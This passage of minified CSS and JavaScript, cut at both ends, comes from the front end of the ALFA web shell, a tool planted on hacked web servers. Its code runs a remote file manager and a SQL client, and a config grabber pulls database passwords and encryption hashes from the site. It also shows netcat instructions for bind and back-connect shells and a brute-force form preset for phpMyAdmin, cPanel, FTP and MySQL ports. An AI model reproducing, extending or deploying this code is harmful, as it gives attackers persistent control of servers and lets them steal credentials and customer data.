#0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:\"\";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:\"\";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http:\/\/solevisible.com\/icons\/menu\/b_plus.png)}.ic_b_minus{background-image:url(http:\/\/solevisible.com\/icons\/menu\/b_minus.png)}\n&lt;?php echo '\n@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}\n@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}\n@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}\n@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}\n#alfaloader{'.$csscode.'width:100px;height:100px;}\n#a_loader img{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}\n.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:\"Comic Sans MS\";font-size:small;text-decoration:none}.whole{background-color:#000;}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.alfa_getColor(\"header_values\").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:\"Comic Sans MS\";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:\"Comic Sans MS\";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:\"Comic Sans MS\";color:#fff;font-size:small;display:inline-block}input&#91;type=\"file\"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input&#91;type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS&#91;'DB_NAME']&#91;'show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input&#91;type=checkbox]{display:none}.myCheckbox label:before{content:\"\";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input&#91;type=checkbox]:checked + label:before{content:\"\";background-color:#0E304A;background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;margin:0;padding:5px 5px 5px 5px;}\n.whole #meunlist li{display:inline;padding:0;}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:10px;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input&#91;type=submit]{cursor:pointer;background-color:#000;color:#27979B;width:30px;height:30px;border:1px solid #27979B;border-radius:10px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input&#91;type=text],input&#91;type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input&#91;type=submit]:hover{color:#fff;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input&#91;type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}\n.foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS&#91;'cwd'])?'}.dir{background-color:red;}':'}').'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}'.alfaCssLoadColors().'\n&lt;\/style>';\necho \"&lt;script type='text\/javascript'>\nvar c_ = '\" . htmlspecialchars($GLOBALS&#91;'cwd']) . \"';\nvar a_ = '\" . htmlspecialchars(@$_POST&#91;'a']) .\"';\nvar charset_ = '\" . htmlspecialchars(@$_POST&#91;'charset']) .\"';\nvar islinux = \".($GLOBALS&#91;'sys']!=\"win\"?'true':'false').\";\nvar post_encryption_mode = \".(__ALFA_POST_ENCRYPTION__?'true':'false').\";\";?>\nvar alfa1_=\"\",alfa2_=\"\",alfa3_=\"\",alfa4_=\"\",alfa5_=\"\",alfa6_=\"\",alfa7_=\"\",alfa8_=\"\",alfa9_=\"\",alfa10_=\"\",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file=\"\",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id=\"\",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang=\"\",upcount=1,terminal_walk_index=&#91;],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:\"\",d.mf.alfa2.value=null!=i?i:\"\",d.mf.alfa3.value=null!=l?l:\"\",d.mf.alfa4.value=null!=o?o:\"\",d.mf.alfa5.value=null!=r?r:\"\",d.mf.alfa6.value=null!=n?n:\"\",d.mf.alfa7.value=null!=s?s:\"\",d.mf.alfa8.value=null!=c?c:\"\",d.mf.alfa9.value=null!=f?f:\"\",d.mf.alfa10.value=null!=_?_:\"\",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t=\"a=\"+alfab64(\"FilesMan\")+\"&amp;c=\"+alfab64(e.c.value)+\"&amp;alfa1=\"+alfab64(e.alfa1.value)+\"&amp;ajax=\"+alfab64(\"true\")+\"&amp;\",i=\"\",l=0;if(d.querySelectorAll(\"#filesman_holder_\"+a+\" form&#91;name=files] input&#91;type=checkbox]\").forEach(function(e){e.checked&amp;&amp;(l++,i+=\"f&#91;]=\"+alfab64(decodeURIComponent(e.value))+\"&amp;\")}),0==l&amp;&amp;\"paste\"!=e.alfa1.value)return!1;switch(alfaloader(\"filesman_holder_\"+a,\"block\"),e.alfa1.value){case\"delete\":d.querySelectorAll(\"#filesman_holder_\"+a+\" .fmanager-row\").forEach(function(e){var a=e.querySelector(\"input&#91;type=checkbox]\");a.checked&amp;&amp;\"..\"!=a.value?e.remove():a.checked=!1}),d.querySelector(\"#filesman_holder_\"+a+\" .chkbx\").checked=!1;break;case\"copy\":case\"move\":case\"zip\":case\"unzip\":d.querySelectorAll(\"#filesman_holder_\"+a+\" input&#91;type=checkbox]:checked\").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader(\"filesman_holder_\"+a,\"none\"),alfaFmngrContextRow()},!1,\"filesman_holder_\"+a)}function initDir(e){var a=\"\",t=\"\";islinux&amp;&amp;(a=\"&lt;a class=\\\"header_pwd\\\" onclick=\\\"g('FilesMan','\/');\\\" path='\/' href='#action=fileman&amp;path=\/'>\/&lt;\/a>\",t=\"\/\");var l=e.split(\"\/\"),o=\"\",r=islinux?\"\/\":\"\";for(i in\"-1\"!=l.indexOf(\"..\")&amp;&amp;(l.splice(l.indexOf(\"..\")-1,1),l.splice(l.indexOf(\"..\"),1)),l)\"\"!=l&#91;i]&amp;&amp;(o+=\"&lt;a onclick=\\\"g('FilesMan','\"+r+l&#91;i]+\"\/');\\\" path='\"+r+l&#91;i]+\"\/' href='#action=fileman&amp;path=\"+r+l&#91;i]+'\/\\' class=\"header_pwd\">'+l&#91;i]+\"\/&lt;\/a>\",r+=l&#91;i]+\"\/\");$(\"header_cwd\").innerHTML=a+o+\" \",alfaInitCwdContext(),l=(l=t+l.join(\"\/\")).replace(\"\/\/\",\"\/\"),d.footer_form.c.value=l,$(\"footer_cwd\").value=l,c_=l}function evalJS(html){var newElement=document.createElement(\"div\");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName(\"script\"),i=0;i&lt;scripts.length;++i){var script=scripts&#91;i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&amp;&amp;(o=new ActiveXObject(\"Microsoft.XMLHTTP\")),void 0!==l&amp;&amp;(_ALFA_AJAX_&#91;l]=o),o?(o.onreadystatechange=function(){4==o.readyState&amp;&amp;200==o.status?\"function\"==typeof t&amp;&amp;(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&amp;&amp;200!=o.status&amp;&amp;(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open(\"POST\",e,!0),o.setRequestHeader(\"Content-Type\",\"application\/x-www-form-urlencoded\"),void o.send(a)):void alert(\"Error !\")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&amp;&amp;delete _ALFA_AJAX_&#91;e]}function handleup(e,a){var t=\"__fnameup\";if(0!=a&amp;&amp;(t=\"__fnameup\"+a),e.files.length>1){for(var i=\"\",l=0;l&lt;e.files.length;l++)i+=e.files&#91;0].name+\", \";$(t).innerHTML=i}else e.files&#91;0].name&amp;&amp;($(t).innerHTML=e.files&#91;0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o=\"filesman_holder_\"+i;l.append(\"a\",alfab64(e.a.value)),l.append(\"c\",alfab64(e.c.value)),l.append(\"alfa1\",alfab64(e.alfa1.value)),l.append(\"charset\",alfab64(e.charset.value)),l.append(\"ajax\",alfab64(e.ajax.value)),e.querySelectorAll(\"input&#91;type=file]\").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a&lt;e.files.length;a++)l.append(\"f&#91;]\",e.files&#91;a]);else l.append(\"f&#91;]\",e.files&#91;0]);t++}),$(\"footerup\").value=\"\",$(\"__fnameup\").innerHTML=\"\";for(var r=1;r&lt;=upcount;r++){var n=$(\"pfooterup_\"+r);n&amp;&amp;n.parentNode.removeChild(n),upcount--}if(0==upcount&amp;&amp;upcount++,0==t)return!1;var s=\"up_bar_\"+getRandom();$(\"up_bar_holder\").insertAdjacentHTML(\"beforeend\",\"&lt;div id='\"+s+\"' class='up_bar'>&lt;\/div>\");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&amp;&amp;(a=new ActiveXObject(\"Microsoft.XMLHTTP\")),a){var c=$(s);_ALFA_AJAX_&#91;s]=a,a.upload&amp;&amp;(c.style.display=\"block\",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a\/t*1e3)\/10+\"%\";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display=\"none\":alfaAjaxError(a.status,\"upload_area\",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&amp;&amp;200==a.status){if(\"noperm\"!=a.responseText&amp;&amp;\"&#91;]\"!=a.responseText){var e,t=JSON.parse(a.responseText),l=\"\",r=d.querySelectorAll(\"#\"+o+\" #filemanager_table tr\").length-3;for(e in t){++r;var n=t&#91;e].name,s=encodeURIComponent(n),c=t&#91;e].size,f=t&#91;e].perm,_=t&#91;e].modify,u=t&#91;e].owner,p=loadType(n,\"file\");try{d.querySelector(\"#\"+o+\" .fmanager-row a&#91;fname='\"+n+\"']\").parentElement.parentElement.parentElement.remove()}catch(e){}l+='&lt;tr class=\"fmanager-row\" id=\"tr_row_'+r+'\">&lt;td>&lt;div class=\"myCheckbox\">&lt;input type=\"checkbox\" name=\"f&#91;]\" value=\"'+n+'\" class=\"chkbx\" id=\"checkbox'+r+'\">&lt;label for=\"checkbox'+r+'\">&lt;\/label>&lt;\/div>&lt;\/td>&lt;td id=\"td_row_'+r+'\">'+p+'&lt;div style=\"position:relative;display:inline-block;bottom:12px;\">&lt;a row=\"'+r+'\" id=\"id_'+r+'\" class=\"main_name\" onclick=\"editor(\\''+s+\"','auto','','','','file');\\\" href=\\\"#action=fileman&amp;amp;path=\"+c_+\"&amp;amp;file=\"+s+'\" fname=\"'+n+'\" ftype=\"file\" path=\"'+c_+'\" opt_title=\"\">'+n+'&lt;\/a>&lt;\/div>&lt;\/td>&lt;td>&lt;span style=\"font-weight:unset;\" class=\"main_size\">'+c+'&lt;\/span>&lt;\/td>&lt;td>&lt;span style=\"font-weight:unset;\" class=\"main_modify\">'+_+'&lt;\/span>&lt;\/td>&lt;td>&lt;span style=\"font-weight:unset;\" class=\"main_owner_group\">'+u+'&lt;\/span>&lt;\/td>&lt;td>&lt;a id=\"id_chmode_'+r+'\" href=\"javascript:void(0)\" onclick=\"editor(\\''+s+\"','chmod','','','','file')\\\">\"+f+'&lt;\/a>&lt;\/td>&lt;td>&lt;a id=\"id_rename_'+r+'\" title=\"Rename\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"editor(\\''+s+\"', 'rename','','','','file')\\\">R&lt;\/a> &lt;a id=\\\"id_touch_\"+r+'\" title=\"Modify Datetime\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"editor(\\''+s+\"', 'touch','','','','file')\\\">T&lt;\/a> &lt;a id=\\\"id_edit_\"+r+'\" class=\"actions\" title=\"Edit\" href=\"javascript:void(0);\" onclick=\"editor(\\''+s+\"', 'edit','','','','file')\\\">E&lt;\/a> &lt;a id=\\\"id_download_\"+r+'\" title=\"Download\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"g(\\'FilesTools\\',null,\\''+n+\"', 'download')\\\">D&lt;\/a>&lt;a id=\\\"id_delete_\"+r+'\" title=\"Delete\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"var chk = confirm(\\'Are You Sure For Delete # '+s+\" # ?'); chk ? g('FilesMan',null,'delete', '\"+s+\"') : '';\\\"> X &lt;\/a>&lt;\/td>&lt;\/tr>\"}d.querySelector(\"#\"+o+\" #filemanager_last_tr\").insertAdjacentHTML(\"beforebegin\",l),alfaShowNotification(\"File(s) uploaded successfully\",\"Uploader\"),alfaFmngrContextRow()}else alfaShowNotification(\"Folder has no permission...\",\"Uploader\",\"error\");alfaCheckCurrentFilesManTab(i)}},a.open(\"POST\",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$(\"filesman_tab_\"+e).classList.value.indexOf(\"filesman-tab-active\")&amp;&amp;$(\"filesman_tab_\"+e).classList.add(\"tab-is-done\")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&amp;&amp;(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),\"GetConfig\"!=a&amp;&amp;\"download\"!=alfa2&amp;&amp;islinux&amp;&amp;\"\/\"!=d_mf_c.substr(0,1)&amp;&amp;(d_mf_c=\"\/\"+d_mf_c),\"FilesMan\"==a?(alfaloader(\"filesman_holder_\"+fm_id,\"block\"),g_action_id=\"filesman_holder_\"+fm_id):\"\"!=g_action_id?alfaloader(g_action_id,\"block\"):\"FilesTools\"!=a&amp;&amp;\"download\"!=alfa2&amp;&amp;\"GetConfig\"!=a&amp;&amp;(\"sql\"==a?(showEditor(\"database_window\"),g_action_id=loadPopUpDatabase(\"\")):\"FilesMan\"!=a&amp;&amp;(showEditor(\"options_window\"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,\"block\"));for(var data=\"a=\"+alfab64(a)+\"&amp;c=\"+alfab64(d_mf_c)+\"&amp;\",i=1;i&lt;=10;i++)data+=\"alfa\"+i+\"=\"+alfab64(eval(\"d.mf.alfa\"+i+\".value\"))+\"&amp;\";if(\"FilesMan\"==a){var pagenum=d.querySelector(\"#\"+g_action_id+\" .page-number.active-page-number\");null!=pagenum&amp;&amp;(data+=\"pagenum=\"+alfab64(getCookie(g_action_id+\"_page_number\")),setCookie(g_action_id+\"_page_number\",1,2012))}if(data+=\"&amp;ajax=\"+alfab64(\"true\"),\"FilesTools\"==a&amp;&amp;\"download\"==alfa2){alfaLoaderOnTop(\"none\");var dl=$(\"dlForm\");return dl.a.value=alfab64(\"dlfile\"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}\"GetConfig\"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop(\"none\"),\"sql\"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if(\"FilesMan\"==a){alfaloader(\"filesman_holder_\"+fm_id,\"none\"),d.querySelector(\"#filesman_holder_\"+fm_id).innerHTML=e,fm_path=fm_path.replace(\/\\\/\\\/\/g,\"\/\"),$(\"filesman_tab_\"+fm_id).setAttribute(\"path\",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector(\"#filesman_tab_\"+fm_id+\" span\").innerHTML=l,alfaFmngrContextRow(),\"function\"==typeof alfa1&amp;&amp;alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||\".\"==t.substr(0,1))&amp;&amp;\".\"==t.substr(0,1)&amp;&amp;(i=!0,t=t.substr(1),showEditor(\"options_window\")),i||alfaloader(t,\"none\"),loadPopUpOpTions(t,e),\"phpeval\"==a&amp;&amp;alfaLoadAceEditor(\"PhpCode\"),\"coldumper\"==a.substr(0,9)&amp;&amp;alfaColDumperInit()},!1,\"\"==g_action_id?\".\"+a:g_action_id),g_action_id=\"\",0==fm_id2&amp;&amp;c!=c_&amp;&amp;c&amp;&amp;initDir(c)):(alfaloader(alfa3,\"block\"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector(\"#\"+(\"id_db\"!=a.substr(0,5)?\"option_\"+a:a));try{(e=JSON.parse(e)).host&amp;&amp;e.user&amp;&amp;e.dbname&amp;&amp;($(\"db_host\")&amp;&amp;(a.querySelector(\"#db_host\").value=e.host),$(\"db_user\")&amp;&amp;(a.querySelector(\"#db_user\").value=e.user),$(\"db_name\")&amp;&amp;(a.querySelector(\"#db_name\").value=e.dbname),$(\"db_pw\")&amp;&amp;(a.querySelector(\"#db_pw\").value=e.password),$(\"db_prefix\")&amp;&amp;e.prefix&amp;&amp;(a.querySelector(\"#db_prefix\").value=e.prefix),$(\"cc_encryption_hash\")&amp;&amp;e.cc_encryption_hash&amp;&amp;(a.querySelector(\"#cc_encryption_hash\").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,\"none\")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(\/\\\/\\\/\/g,\"\/\").split(\"\/\");for(var t in a)0==a&#91;t].length&amp;&amp;a.splice(t,1);var i=a&#91;a.length-1];return 0==i.length&amp;&amp;(i=\"\/\"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$(\"loader_\"+e);if(null==t&amp;&amp;\"block\"==a){var i=null;\"editor\"==e?i=d.querySelector(\"#editor .editor-modal\"):\"id_db\"==e.substr(0,5)?i=$(e):\"terminal_id\"==e.substr(0,11)?i=$(e):\"editor\"==e.substr(0,6)?i=$(e):\"cgiframe\"==e?i=$(\"cgiframe\"):\"filesman_holder\"==e.substr(0,15)?(i=$(e)).style.minHeight=\"300px\":i=$(\"option_\"+e),i.insertAdjacentHTML(\"afterbegin\",\"&lt;div id='loader_\"+e+'\\' class=\"options-loader-holder\">&lt;div parent=\"'+e+'\" onclick=\"alfaAjaxController(this);\" class=\"stopAjax\">&#91; Stop it ]&lt;\/div>&lt;div class=\"alfa-ajax-error\">&lt;\/div>&lt;img src=\\'http:\/\/solevisible.com\/images\/loader.svg\\'>&lt;\/div>')}else\"filesman_holder\"==e.substr(0,15)&amp;&amp;($(e).style.minHeight=\"0\"),null!=t&amp;&amp;(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute(\"db_id\"),t=d.querySelector(\"#\"+a+\" div.sf\");mysql_cache.hasOwnProperty(a)||(mysql_cache&#91;a]={}),alfaloader(a,\"block\");var i=t.querySelector(\"input&#91;name=sql_host]\").value,l=t.querySelector(\"input&#91;name=sql_login]\").value,o=t.querySelector(\"input&#91;name=sql_pass]\").value,r=t.querySelector(\"input&#91;name=sql_base]\")?t.querySelector(\"input&#91;name=sql_base]\").value:t.querySelector(\"select&#91;name=sql_base]\").value,n=t.querySelector(\"select&#91;name=type]\").value,s=t.querySelector(\"input&#91;name=sql_count]\").checked?\"true\":\"\";_Ajax(d.URL,\"a=\"+alfab64(\"Sql\")+\"&amp;alfa1=\"+alfab64(\"query\")+\"&amp;alfa2=&amp;c=\"+alfab64(c_)+\"&amp;charset=\"+alfab64(\"UTF-8\")+\"&amp;type=\"+alfab64(n)+\"&amp;sql_host=\"+alfab64(i)+\"&amp;sql_login=\"+alfab64(l)+\"&amp;sql_pass=\"+alfab64(o)+\"&amp;sql_base=\"+alfab64(r)+\"&amp;sql_count=\"+alfab64(s)+\"&amp;current_mysql_id=\"+alfab64(a)+\"&amp;ajax=\"+alfab64(\"true\"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,\"none\")},!1,a)}function ctlbc(e){var a=$(\"bcStatus\"),t=$(\"bcipAction\");\"bind\"==e.value?(t.style.display=\"none\",a.innerHTML=\"&lt;small>Press ` &lt;font color='red'>>>&lt;\/font> ` button and run ` &lt;font color='red'>nc server_ip port&lt;\/font> ` on your computer&lt;\/small>\"):(t.style.display=\"inline-block\",a.innerHTML=\"&lt;small>Run ` &lt;font color='red'>nc -l -v -p port&lt;\/font> ` on your computer and press ` &lt;font color='red'>>>&lt;\/font> ` button&lt;\/small>\")}function $(e){return d.getElementById(e)}function addnewup(){var e=\"footerup_\"+upcount,a=\"pfooterup_\"+upcount,t=1!=upcount?\"pfooterup_\"+(upcount-1):\"pfooterup\",i=d.createElement(\"p\");i.innerHTML='&lt;label class=\"inputfile\" for=\"'+e+'\">&lt;span id=\"__fnameup'+upcount+'\">&lt;\/span> &lt;strong>&amp;nbsp;&amp;nbsp;Choose a file&lt;\/strong>&lt;\/label>&lt;input id=\"'+e+'\" type=\"file\" name=\"f&#91;]\" onChange=\"handleup(this,'+upcount+');\" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case\"all\":case\"dirs\":_alfaSet(!0,\"Disabled\");break;case\"files\":_alfaSet(!1,\"php\")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case\"phpmyadmin\":bruteSet(!0,\"Disabled\",\"http:\/\/\");break;case\"direct\":bruteSet(!1,\"2222\",\"http:\/\/\");break;case\"cp\":bruteSet(!1,\"2082\",\"http:\/\/\");break;case\"ftp\":bruteSet(!0,\"Disabled\",\"ftp:\/\/\");break;case\"mysql\":bruteSet(!1,\"3306\",\"http:\/\/\");break;case\"ftpc\":bruteSet(!1,\"21\",\"http:\/\/\")}}function 